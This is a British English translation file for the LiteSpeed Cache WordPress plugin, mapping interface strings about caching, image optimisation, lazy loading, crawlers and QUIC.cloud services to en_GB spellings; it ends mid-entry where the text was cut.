return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2023-06-04 17:52:23+0000','plural-forms'=>'nplurals=2; plural=n != 1;','project-id-version'=>'Plugins - LiteSpeed Cache - Stable (latest release)','language'=>'en_GB','messages'=>['Redetect'=>'Redetect','History'=>'History','unknown'=>'unknown','Extreme'=>'Extreme','Aggressive'=>'Aggressive','Higher TTL'=>'Higher TTL','Essentials'=>'Essentials','Presets'=>'Presets','Partner Benefits Provided by'=>'Partner Benefits Provided by','LiteSpeed Logs'=>'LiteSpeed Logs','Crawler Log'=>'Crawler Log','Purge Log'=>'Purge Log','Prevent writing log entries that include listed strings.'=>'Prevent writing log entries that include listed strings.','View Site Before Cache'=>'View Site Before Cache','View Site Before Optimization'=>'View Site Before Optimisation','Debug Helpers'=>'Debug Helpers','Enable Viewport Images auto generation cron.'=>'Enable Viewport Images auto generation cron.','This enables the page\'s initial screenful of imagery to be fully displayed without delay.'=>'This enables the page\'s initial screenful of imagery to be fully displayed without delay.','The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.'=>'The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.','When you use Lazy Load, it will delay the loading of all images on a page.'=>'When you use Lazy Load, it will delay the loading of all images on a page.','Use %1$s to bypass remote image dimension check when %2$s is ON.'=>'Use %1$s to bypass remote image dimension check when %2$s is ON.','VPI'=>'VPI','%s must be turned ON for this setting to work.'=>'%s must be turned ON for this setting to work.','Viewport Image'=>'Viewport Image','Mobile'=>'Mobile','Please thoroughly test each JS file you add to ensure it functions as expected.'=>'Please thoroughly test each JS file you add to ensure it functions as expected.','Please thoroughly test all items in %s to ensure they function as expected.'=>'Please thoroughly test all items in %s to ensure they function as expected.','Use %1$s to bypass UCSS for the pages which page type is %2$s.'=>'Use %1$s to bypass UCSS for the pages which page type is %2$s.','Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.'=>'Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL.','Filter %s available for UCSS per page type generation.'=>'Filter %s available for UCSS per page type generation.','Guest Mode failed to test.'=>'Guest Mode failed to test.','Guest Mode passed testing.'=>'Guest Mode passed testing.','Testing'=>'Testing','Guest Mode testing result'=>'Guest Mode testing result','Not blocklisted'=>'Not blacklisted','Learn more about when this is needed'=>'Learn more about when this is needed','Cleaned all localized resource entries.'=>'Cleaned all localised resource entries.','View .htaccess'=>'View .htaccess','You can use this code %1$s in %2$s to specify the htaccess file path.'=>'You can use this code %1$s in %2$s to specify the .htaccess file path.','PHP Constant %s is supported.'=>'PHP Constant %s is supported.','.htaccess Path'=>'.htaccess Path','Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.'=>'Only optimise pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.','Listed JS files or inline JS code will not be optimized by %s.'=>'Listed JS files or inline JS code will not be optimised by %s.','Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).'=>'Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).','Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.'=>'Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the Admin Bar menu.','Delayed'=>'Delayed','Automatic generation of unique CSS is in the background via a cron-based queue.'=>'Automatic generation of unique CSS is in the background via a cron-based queue.','HTML Settings'=>'HTML Settings','This option enables maximum optimization for Guest Mode visitors.'=>'This option enables maximum optimisation for Guest Mode visitors.','More'=>'More','Add Missing Sizes'=>'Add Missing Sizes','Optimize for Guests Only'=>'Optimise for Guests Only','Guest Optimization'=>'Guest Optimisation','Guest Mode'=>'Guest Mode','The current server is under heavy load.'=>'The current server is under heavy load.','Please see %s for more details.'=>'Please see %s for more details.','This setting will regenerate crawler list and clear the disabled list!'=>'This setting will regenerate crawler list and clear the disabled list!','%1$s %2$s files left in queue'=>'%1$s %2$s files left in queue','Crawler disabled list is cleared! All crawlers are set to active! '=>'Crawler disabled list is cleared! All crawlers are set to active! ','Redetected node'=>'Redetected node','No available Cloud Node after checked server load.'=>'No available Cloud Node after checked server load.','Localization Files'=>'Localisation Files','Purged!'=>'Purged!','Resources listed here will be copied and replaced with local URLs.'=>'Resources listed here will be copied and replaced with local URLs.','Use latest GitHub Master commit'=>'Use latest GitHub Master commit','Use latest GitHub Dev commit'=>'Use latest GitHub Dev commit','No valid sitemap parsed for crawler.'=>'No valid sitemap parsed for crawler.','CSS Combine External and Inline'=>'CSS Combine External and Inline','Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.'=>'Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimise potential errors caused by CSS Combine.','Minify CSS files and inline CSS code.'=>'Minify CSS files and inline CSS code.','Predefined list will also be combined w/ the above settings'=>'Predefined list will also be combined w/ the above settings','Localization'=>'Localisation','Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.'=>'Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimise potential errors caused by JS Combine.','Combine all local JS files into a single file.'=>'Combine all local JS files into a single file.','Listed JS files or inline JS code will not be deferred or delayed.'=>'Listed JS files or inline JS code will not be deferred or delayed.','JS Combine External and Inline'=>'JS Combine External and Inline','Dismiss'=>'Dismiss','The latest data file is'=>'The latest data file is','The list will be merged with the predefined nonces in your local data file.'=>'The list will be merged with the predefined nonces in your local data file.','Combine CSS files and inline CSS code.'=>'Combine CSS files and inline CSS code.','Minify JS files and inline JS codes.'=>'Minify JS files and inline JS codes.','LQIP Excludes'=>'LQIP Excludes','These images will not generate LQIP.'=>'These images will not generate LQIP.','Are you sure you want to reset all settings back to the default settings?'=>'Are you sure you want to reset all settings back to the default settings?','This option will remove all %s tags from HTML.'=>'This option will remove all %s tags from HTML.','Are you sure you want to clear all cloud nodes?'=>'Are you sure you want to clear all cloud nodes?','Remove Noscript Tags'=>'Remove Noscript Tags','The site is not registered on QUIC.cloud.'=>'The site is not registered on QUIC.cloud.','Click here to set.'=>'Click here to set.','Localize Resources'=>'Localise Resources','Setting Up Custom Headers'=>'Setting Up Custom Headers','This will delete all localized resources'=>'This will delete all localised resources','Localized Resources'=>'Localised Resources','Comments are supported. Start a line with a %s to turn it into a comment line.'=>'Comments are supported. Start a line with a %s to turn it into a comment line.','HTTPS sources only.'=>'HTTPS sources only.','Localize external resources.'=>'Localise external resources.','Localization Settings'=>'Localisation Settings','Use QUIC.cloud online service to generate unique CSS.'=>'Use QUIC.cloud online service to generate unique CSS.','Generate UCSS'=>'Generate UCSS','Unique CSS'=>'Unique CSS','Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches'=>'Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches','LiteSpeed Report'=>'LiteSpeed Report','Image Thumbnail Group Sizes'=>'Image Thumbnail Group Sizes','Ignore certain query strings when caching. (LSWS %s required)'=>'Ignore certain query strings when caching. (LSWS %s required)','For URLs with wildcards, there may be a delay in initiating scheduled purge.'=>'For URLs with wildcards, there may be a delay in initiating scheduled purge.','By design, this option may serve stale content. Do not enable this option, if that is not OK with you.'=>'By design, this option may serve stale content. Do not enable this option, if that is not OK with you.','Serve Stale'=>'Serve Stale','One or more pulled images does not match with the notified image md5'=>'One or more pulled images does not match with the notified image md5','Some optimized image file(s) has expired and was cleared.'=>'Some optimised image file(s) have expired and were cleared.','You have too many requested images, please try again in a few minutes.'=>'You have too many requested images, please try again in a few minutes.','Pulled WebP image md5 does not match the notified WebP image md5.'=>'Pulled WebP image md5 does not match the notified WebP image md5.','Read LiteSpeed Documentation'=>'Read LiteSpeed Documentation','There is proceeding queue not pulled yet. Queue info: %s.'=>'There is proceeding queue not pulled yet. Queue info: %s.','Specify how long, in seconds, Gravatar files are cached.'=>'Specify how long, in seconds, Gravatar files are cached.','Cleared %1$s invalid images.'=>'Cleared %1$s invalid images.','LiteSpeed Cache General Settings'=>'LiteSpeed Cache General Settings','This will delete all cached Gravatar files'=>'This will delete all cached Gravatar files','Prevent any debug log of listed pages.'=>'Prevent any debug log of listed pages.','Only log listed pages.'=>'Only log listed pages.','Specify the maximum size of the log file.'=>'Specify the maximum size of the log file.','To prevent filling up the disk, this setting should be OFF when everything is working.'=>'To prevent filling up the disk, this setting should be OFF when everything is working.','Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.'=>'Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.','Use latest WordPress release version'=>'Use latest WordPress release version','OR'=>'OR','Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.'=>'Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below.','Reset Settings'=>'Reset Settings','LiteSpeed Cache Toolbox'=>'LiteSpeed Cache Toolbox','Beta Test'=>'Beta Test','Log View'=>'Log View','Debug Settings'=>'Debug Settings','Turn ON to control heartbeat in backend editor.'=>'Turn ON to control heartbeat in back end editor.','Turn ON to control heartbeat on backend.'=>'Turn ON to control heartbeat on back end.','Set to %1$s to forbid heartbeat on %2$s.'=>'Set to %1$s to forbid heartbeat on %2$s.','WordPress valid interval is %s seconds.'=>'WordPress valid interval is %s seconds.','Specify the %s heartbeat interval in seconds.'=>'Specify the %s heartbeat interval in seconds.','Turn ON to control heartbeat on frontend.'=>'Turn ON to control heartbeat on front end.','Disable WordPress interval heartbeat to reduce server load.'=>'Disable WordPress interval heartbeat to reduce server load.','Heartbeat Control'=>'Heartbeat Control','provide more information here to assist the LiteSpeed team with debugging.'=>'provide more information here to assist the LiteSpeed team with debugging.','Optional'=>'Optional','Generate Link for Current User'=>'Generate Link for Current User','Passwordless Link'=>'Passwordless Link','System Information'=>'System Information','Go to plugins list'=>'Go to plugins list','Install DoLogin Security'=>'Install DoLogin Security','Check my public IP from'=>'Check my public IP from','Your server IP'=>'Your server IP','Enter this site\'s IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.'=>'Enter this site\'s IP address to allow cloud services to directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.','This will enable crawler cron.'=>'This will enable crawler cron.','Crawler General Settings'=>'Crawler General Settings','Remove from Blocklist'=>'Remove from Blocklist','Empty blocklist'=>'Empty blocklist','Are you sure to delete all existing blocklist items?'=>'Are you sure to delete all existing blocklist items?','Blocklisted due to not cacheable'=>'Blocklisted due to not cacheable','Add to Blocklist'=>'Add to Blocklist','Operation'=>'Operation','Sitemap Total'=>'Sitemap Total','Sitemap List'=>'Sitemap List','Refresh Crawler Map'=>'Refresh Crawler Map','Clean Crawler Map'=>'Clean Crawler Map','Blocklist'=>'Blocklist','Map'=>'Map','Summary'=>'Summary','Cache Miss'=>'Cache Miss','Cache Hit'=>'Cache Hit','Waiting to be Crawled'=>'Waiting to be Crawled','Blocklisted'=>'Blocklisted','Miss'=>'Miss','Hit'=>'Hit','Waiting'=>'Waiting','Running'=>'Running','Use %1$s in %2$s to indicate this cookie has not been set.'=>'Use %1$s in %2$s to indicate this cookie has not been set.','Add new cookie to simulate'=>'Add new cookie to simulate','Remove cookie simulation'=>'Remove cookie simulation','Htaccess rule is: %s'=>'.htaccess rule is: %s','More settings available under %s menu'=>'More settings available under %s menu','The amount of time, in seconds, that files will be stored in browser cache before expiring.'=>'The amount of time, in seconds, that files will be stored in browser cache before expiring.','OpenLiteSpeed users please check this'=>'OpenLiteSpeed users, please check this','Browser Cache Settings'=>'Browser Cache Settings','Paths containing these strings will be forced to public cached regardless of no-cacheable settings.'=>'Paths containing these strings will be forced to public cached regardless of no-cacheable settings.','With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.'=>'With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server.','An optional second parameter may be used to specify cache control. Use a space to separate'=>'An optional second parameter may be used to specify cache control. Use a space to separate','The above nonces will be converted to ESI automatically.'=>'The above nonces will be converted to ESI automatically.','Browser'=>'Browser','Object'=>'Object','Default port for %1$s is %2$s.'=>'Default port for %1$s is %2$s.','Object Cache Settings'=>'Object Cache Settings','Specify an HTTP status code and the number of seconds to cache that page, separated by a space.'=>'Specify an http status code and the number of seconds to cache that page, separated by a space.','Specify how long, in seconds, the front page is cached.'=>'Specify how long, in seconds, the front page is cached.','TTL'=>'TTL','If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.'=>'If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.','Swap'=>'Swap','Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.'=>'Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.','Avatar list in queue waiting for update'=>'Avatar list in queue waiting for update','Refresh Gravatar cache by cron.'=>'Refresh Gravatar cache by cron.','Accelerates the speed by caching Gravatar (Globally Recognized Avatars).'=>'Accelerates the speed by caching Gravatar (Globally Recognised Avatars).','Store Gravatar locally.'=>'Store Gravatar locally.','Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.'=>'Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.','LQIP requests will not be sent for images where both width and height are smaller than these dimensions.'=>'LQIP requests will not be sent for images where both width and height are smaller than these dimensions.','pixels'=>'pixels','Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.'=>'Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.','Specify the quality when generating LQIP.'=>'Specify the quality when generating LQIP.','Keep this off to use plain color placeholders.'=>'Keep this off to use plain colour placeholders.','Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.'=>'Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading.','Specify the responsive placeholder SVG color.'=>'Specify the responsive placeholder SVG colour.','Variables %s will be replaced with the configured background color.'=>'Variables %s will be replaced with the configured background colour.','Variables %s will be replaced with the corresponding image properties.'=>'Variables %s will be replaced with the corresponding image properties.','It will be converted to a base64 SVG placeholder on-the-fly.'=>'It will be converted to a base64 SVG placeholder on-the-fly.','Specify an SVG to be used as a placeholder when generating locally.'=>'Specify an SVG to be used as a placeholder when generating locally.','Prevent any lazy load of listed pages.'=>'Prevent any lazy load of listed pages.','Iframes having these parent class names will not be lazy loaded.'=>'Iframes having these parent class names will not be lazy loaded.','Iframes containing these class names will not be lazy loaded.'=>'Iframes containing these class names will not be lazy loaded.','Images having these parent class names will not be lazy loaded.'=>'Images having these parent class names will not be lazy loaded.','LiteSpeed Cache Page Optimization'=>'LiteSpeed Cache Page Optimisation','Media Excludes'=>'Media Excludes','CSS Settings'=>'CSS Settings','%s is recommended.'=>'%s is recommended.','Deferred'=>'Deferred','Default'=>'Default','This can improve the page loading speed.'=>'This can improve the page loading speed.','Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.'=>'Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.','New developer version %s is available now.'=>'New developer version %s is available now.','New Developer Version Available!'=>'New Developer Version Available!','Dismiss this notice'=>'Dismiss this notice','Tweet this'=>'Tweet this','Tweet preview'=>'Tweet preview','Learn more'=>'Learn more','You just unlocked a promotion from QUIC.cloud!'=>'You just unlocked a promotion from QUIC.cloud!','The image compression quality setting of WordPress out of 100.'=>'The image compression quality setting of WordPress out of 100.','Image Optimization Settings'=>'Image Optimisation Settings','Are you sure to destroy all optimized images?'=>'Are you sure to destroy all optimised images?','Use Optimized Files'=>'Use Optimised Files','Switch back to using optimized images on your site'=>'Switch back to using optimised images on your site','Use Original Files'=>'Use Original Files','Use original images (unoptimized) on your site'=>'Use original images (unoptimised) on your site','You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available.'=>'You can quickly switch between using original (unoptimised versions) and optimised image files. It will affect all images on your website, both regular and webp versions if available.','Optimization Tools'=>'Optimisation Tools','Rescan New Thumbnails'=>'Rescan New Thumbnails','Congratulations, all gathered!'=>'Congratulations, all gathered!','What is an image group?'=>'What is an image group?','Delete all backups of the original images'=>'Delete all backups of the original images','Calculate Backups Disk Space'=>'Calculate Backups Disk Space','Optimization Status'=>'Optimisation Status','Current limit is'=>'Current limit is','You can request a maximum of %s images at once.'=>'You can request a maximum of %s images at once.','Optimize images with our QUIC.cloud server'=>'Optimise images with our QUIC.cloud server','Revisions newer than this many days will be kept when cleaning revisions.'=>'Revisions newer than this many days will be kept when cleaning revisions.','Day(s)'=>'Day(s)','Specify the number of most recent revisions to keep when cleaning revisions.'=>'Specify the number of most recent revisions to keep when cleaning revisions.','LiteSpeed Cache Database Optimization'=>'LiteSpeed Cache Database Optimisation','DB Optimization Settings'=>'DB Optimisation Settings','Option Name'=>'Option Name','Database Summary'=>'Database Summary','We are good. No table uses MyISAM engine.'=>'We are good. No table uses MyISAM engine.','Convert to InnoDB'=>'Convert to InnoDB','Tool'=>'Tool','Engine'=>'Engine','Table'=>'Table','Database Table Engine Converter'=>'Database Table Engine Converter','Clean revisions older than %1$s day(s), excluding %2$s latest revisions'=>'Clean revisions older than %1$s day(s), excluding %2$s latest revisions','Currently active crawler'=>'Currently active crawler','Crawler(s)'=>'Crawler(s)','Crawler Status'=>'Crawler Status','Force cron'=>'Force cron','Requests in queue'=>'Requests in queue','Private Cache'=>'Private Cache','Public Cache'=>'Public Cache','Cache Status'=>'Cache Status','Last Pull'=>'Last Pull','Image Optimization Summary'=>'Image Optimisation Summary','Refresh page score'=>'Refresh page score','Are you sure you want to redetect the closest cloud server for this service?'=>'Are you sure you want to redetect the closest cloud server for this service?','Refresh page load time'=>'Refresh page load time','Go to QUIC.cloud dashboard'=>'Go to QUIC.cloud dashboard','Low Quality Image Placeholder'=>'Low Quality Image Placeholder','Sync data from Cloud'=>'Sync data from Cloud','QUIC.cloud Service Usage Statistics'=>'QUIC.cloud Service Usage Statistics','Total images optimized in this month'=>'Total images optimised in this month','Total Usage'=>'Total Usage','Pay as You Go Usage Statistics'=>'Pay as You Go Usage Statistics','PAYG Balance'=>'PAYG Balance','Pay as You Go'=>'Pay as You Go','Usage'=>'Usage','Fast Queue Usage'=>'Fast Queue Usage','CDN Bandwidth'=>'CDN Bandwidth','LiteSpeed Cache Dashboard'=>'LiteSpeed Cache Dashboard','Network Dashboard'=>'Network Dashboard','No cloud services currently in use'=>'No cloud services currently in use','Click to clear all nodes for further redetection.'=>'Click to clear all nodes for further redetection.','Current Cloud Nodes in Service'=>'Current Cloud Nodes in Service','Link to QUIC.cloud'=>'Link to QUIC.cloud','General Settings'=>'General Settings','Specify which HTML element attributes will be replaced with CDN Mapping.'=>'Specify which HTML element attributes will be replaced with CDN Mapping.','Add new CDN URL'=>'Add new CDN URL','Remove CDN URL'=>'Remove CDN URL','To enable the following functionality, turn ON Cloudflare API in CDN Settings.'=>'To enable the following functionality, turn ON Cloudflare API in CDN Settings.','QUIC.cloud'=>'QUIC.cloud','WooCommerce Settings'=>'WooCommerce Settings','LQIP Cache'=>'LQIP Cache','Options saved.'=>'Options saved.','Removed backups successfully.'=>'Removed backups successfully.','Calculated backups successfully.'=>'Calculated backups successfully.','Rescanned %d images successfully.'=>'Rescanned %d images successfully.','Rescanned successfully.'=>'Rescanned successfully.','Destroy all optimization data successfully.'=>'Destroyed all optimisation data successfully.','Cleaned up unfinished data successfully.'=>'Cleaned up unfinished data successfully.','Pull Cron is running'=>'Pull Cron is running','No valid image found by Cloud server in the current request.'=>'No valid image found by Cloud server in the current request.','No valid image found in the current request.'=>'No valid image found in the current request.','Pushed %1$s to Cloud server, accepted %2$s.'=>'Pushed %1$s to Cloud server, accepted %2$s.','Revisions Max Age'=>'Revisions Max Age','Revisions Max Number'=>'Revisions Max Number','Debug URI Excludes'=>'Debug URI Excludes','Debug URI Includes'=>'Debug URI Includes','HTML Attribute To Replace'=>'HTML Attribute To Replace','Use CDN Mapping'=>'Use CDN Mapping','Editor Heartbeat TTL'=>'Editor Heartbeat TTL','Editor Heartbeat'=>'Editor Heartbeat','Backend Heartbeat TTL'=>'Back end Heartbeat TTL','Backend Heartbeat Control'=>'Back end Heartbeat Control','Frontend Heartbeat TTL'=>'Front end Heartbeat TTL','Frontend Heartbeat Control'=>'Front end Heartbeat Control','Backend .htaccess Path'=>'Back end .htaccess Path','Frontend .htaccess Path'=>'Front end .htaccess Path','ESI Nonces'=>'ESI Nonces','WordPress Image Quality Control'=>'WordPress Image Quality Control','Auto Request Cron'=>'Auto Request Cron','Generate LQIP In Background'=>'Generate LQIP In Background','LQIP Minimum Dimensions'=>'LQIP Minimum Dimensions','LQIP Quality'=>'LQIP Quality','LQIP Cloud Generator'=>'LQIP Cloud Generator','Responsive Placeholder SVG'=>'Responsive Placeholder SVG','Responsive Placeholder Color'=>'Responsive Placeholder Colour','Basic Image Placeholder'=>'Basic Image Placeholder','Lazy Load URI Excludes'=>'Lazy Load URI Excludes','Lazy Load Iframe Parent Class Name Excludes'=>'Lazy Load Iframe Parent Class Name Excludes','Lazy Load Iframe Class Name Excludes'=>'Lazy Load Iframe Class Name Excludes','Lazy Load Image Parent Class Name Excludes'=>'Lazy Load Image Parent Class Name Excludes','Gravatar Cache TTL'=>'Gravatar Cache TTL','Gravatar Cache Cron'=>'Gravatar Cache Cron','Gravatar Cache'=>'Gravatar Cache','DNS Prefetch Control'=>'DNS Prefetch Control','Font Display Optimization'=>'Font Display Optimisation','Force Public Cache URIs'=>'Force Public Cache URIs','Notifications'=>'Notifications','Default HTTP Status Code Page TTL'=>'Default HTTP Status Code Page TTL','Default REST TTL'=>'Default REST TTL','Enable Cache'=>'Enable Cache','Server IP'=>'Server IP','Images not requested'=>'Images not requested','Sync credit allowance with Cloud Server successfully.'=>'Sync credit allowance with Cloud Server successfully.','Failed to communicate with QUIC.cloud server'=>'Failed to communicate with QUIC.cloud server','Good news from QUIC.cloud server'=>'Good news from QUIC.cloud server','Message from QUIC.cloud server'=>'Message from QUIC.cloud server','Please try after %1$s for service %2$s.'=>'Please try after %1$s for service %2$s.','No available Cloud Node.'=>'No available Cloud Node.','Cloud Error'=>'Cloud Error','The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.'=>'The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.','Restore from backup'=>'Restore from backup','No backup of unoptimized WebP file exists.'=>'No backup of unoptimised WebP file exists.','WebP file reduced by %1$s (%2$s)'=>'WebP file reduced by %1$s (%2$s)','Currently using original (unoptimized) version of WebP file.'=>'Currently using original (unoptimised) version of WebP file.','Currently using optimized version of WebP file.'=>'Currently using optimised version of WebP file.','Orig'=>'Orig','(no savings)'=>'(no savings)','Orig %s'=>'Orig %s','Congratulation! Your file was already optimized'=>'Congratulation! Your file was already optimised','No backup of original file exists.'=>'No backup of original file exists.','Using optimized version of file. '=>'Using optimised version of file. ','Orig saved %s'=>'Orig saved %s','Original file reduced by %1$s (%2$s)'=>'Original file reduced by %1$s (%2$s)','Click to switch to optimized version.'=>'Click to switch to optimised version.','Currently using original (unoptimized) version of file.'=>'Currently using original (unoptimised) version of file.','(non-optm)'=>'(non-optm)','Click to switch to original (unoptimized) version.'=>'Click to switch to original (unoptimised) version.','Currently using optimized version of file.'=>'Currently using optimised version of file.','(optm)'=>'(optm)','LQIP image preview for size %s'=>'LQIP image preview for size %s','LQIP'=>'LQIP','Previously existed in blocklist'=>'Previously existed in blocklist','Manually added to blocklist'=>'Manually added to blocklist','Mobile Agent Rules'=>'Mobile Agent Rules','Sitemap created successfully: %d items'=>'Sitemap created successfully: %d items','Sitemap cleaned successfully'=>'Sitemap cleaned successfully','Invalid IP'=>'Invalid IP','Value range'=>'Value range','Smaller than'=>'Smaller than','Larger than'=>'Larger than','Zero, or'=>'Zero, or','Maximum value'=>'Maximum value','Minimum value'=>'Minimum value','Path must end with %s'=>'Path must end with %s','Invalid rewrite rule'=>'Invalid rewrite rule','Toolbox'=>'Toolbox','Database'=>'Database','Page Optimization'=>'Page Optimisation','Dashboard'=>'Dashboard','Converted to InnoDB successfully.'=>'Converted to InnoDB successfully.','Cleaned all Gravatar files.'=>'Cleaned all Gravatar files.','Cleaned all LQIP files.'=>'Cleaned all LQIP files.','Unknown error'=>'Unknown error','Your domain has been forbidden from using our services due to a previous policy violation.'=>'Your domain has been forbidden from using our services due to a previous policy violation.','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: '=>'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: ','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.'=>'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.','The callback validation to your domain failed due to hash mismatch.'=>'The callback validation to your domain failed due to hash mismatch.','Your application is waiting for approval.'=>'Your application is waiting for approval.','Previous request too recent. Please try again after %s.'=>'Previous request too recent. Please try again after %s.','Previous request too recent. Please try again later.'=>'Previous request too recent. Please try again later.','Crawler disabled by the server admin.'=>'Crawler disabled by the server admin.','Could not find %1$s in %2$s.'=>'Could not find %1$s in %2$s.','Credits are not enough to proceed the current request.'=>'Credits are not enough to proceed with the current request.','There is proceeding queue not pulled yet.'=>'There is proceeding queue not pulled yet.','The image list is empty.'=>'The image list is empty.','LiteSpeed Crawler Cron'=>'LiteSpeed Crawler Cron','Every Minute'=>'Every Minute','Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.'=>'Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.','To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.'=>'To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.','Please do NOT share the above passwordless link with anyone.'=>'Please do NOT share the above passwordless link with anyone.','To generate a passwordless link for LiteSpeed Support Team access, you must install %s.'=>'To generate a passwordless link for LiteSpeed Support Team access, you must install %s.','Install'=>'Install','These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.'=>'These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.','PageSpeed Score'=>'PageSpeed Score','Improved by'=>'Improved by','After'=>'After','Before'=>'Before','Page Load Time'=>'Page Load Time','To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.'=>'To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.','Preserve EXIF/XMP data'=>'Preserve EXIF/XMP data','Try GitHub Version'=>'Try GitHub Version','If you turn any of the above settings OFF, please remove the related file types from the %s box.'=>'If you turn any of the above settings OFF, please remove the related file types from the %s box.','Both full and partial strings can be used.'=>'Both full and partial strings can be used.','Images containing these class names will not be lazy loaded.'=>'Images containing these class names will not be lazy loaded.','Lazy Load Image Class Name Excludes'=>'Lazy Load Image Class Name Excludes','For example, %1$s defines a TTL of %2$s seconds for %3$s.'=>'For example, %1$s defines a TTL of %2$s seconds for %3$s.','To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.'=>'To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.','Maybe Later'=>'Maybe later','Turn On Auto Upgrade'=>'Turn on auto upgrade','Upgrade'=>'Upgrade','New release %s is available now.'=>'New release %s is available now.','New Version Available!'=>'New version available!','Sure I\'d love to review!'=>'Sure I\'d love to review!','Thank You for Using the LiteSpeed Cache Plugin!'=>'Thank you for using the LiteSpeed Cache plugin!','Upgraded successfully.'=>'Upgraded successfully.','Failed to upgrade.'=>'Failed to upgrade.','Changed setting successfully.'=>'Changed setting successfully.','ESI sample for developers'=>'ESI sample for developers','Replace %1$s with %2$s.'=>'Replace %1$s with %2$s.','You can turn shortcodes into ESI blocks.'=>'You can turn shortcodes into ESI blocks.','WpW: Private Cache vs. Public Cache'=>'WpW: Private Cache vs. Public Cache','Append query string %s to the resources to bypass this action.'=>'Append query string %s to the resources to bypass this action.','Google reCAPTCHA will be bypassed automatically.'=>'Google reCAPTCHA will be bypassed automatically.','Cookie Values'=>'Cookie Values','Cookie Name'=>'Cookie Name','Cookie Simulation'=>'Cookie Simulation','Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.'=>'Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.','Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.'=>'Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.','Automatically Upgrade'=>'Automatically Upgrade','Your IP'=>'Your IP','Reset successfully.'=>'Reset successfully.','This will reset all settings to default settings.'=>'This will reset all settings to default settings.','Reset All Settings'=>'Reset All Settings','Separate critical CSS files will be generated for paths containing these strings.'=>'Separate critical CSS files will be generated for paths containing these strings.','Separate CCSS Cache URIs'=>'Separate CCSS Cache URIs','For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.'=>'For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.','List post types where each item of that type should have its own CCSS generated.'=>'List post types where each item of that type should have its own CCSS generated.','Separate CCSS Cache Post Types'=>'Separate CCSS Cache Post Types','Size list in queue waiting for cron'=>'Size list in queue waiting for cron','If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.'=>'If set to %1$s, before the placeholder is localised, the %2$s configuration will be used.','Automatically generate LQIP in the background via a cron-based queue.'=>'Automatically generate LQIP in the background via a cron-based queue.','This will generate the placeholder with same dimensions as the image if it has the width and height attributes.'=>'This will generate the placeholder with same dimensions as the image if it has the width and height 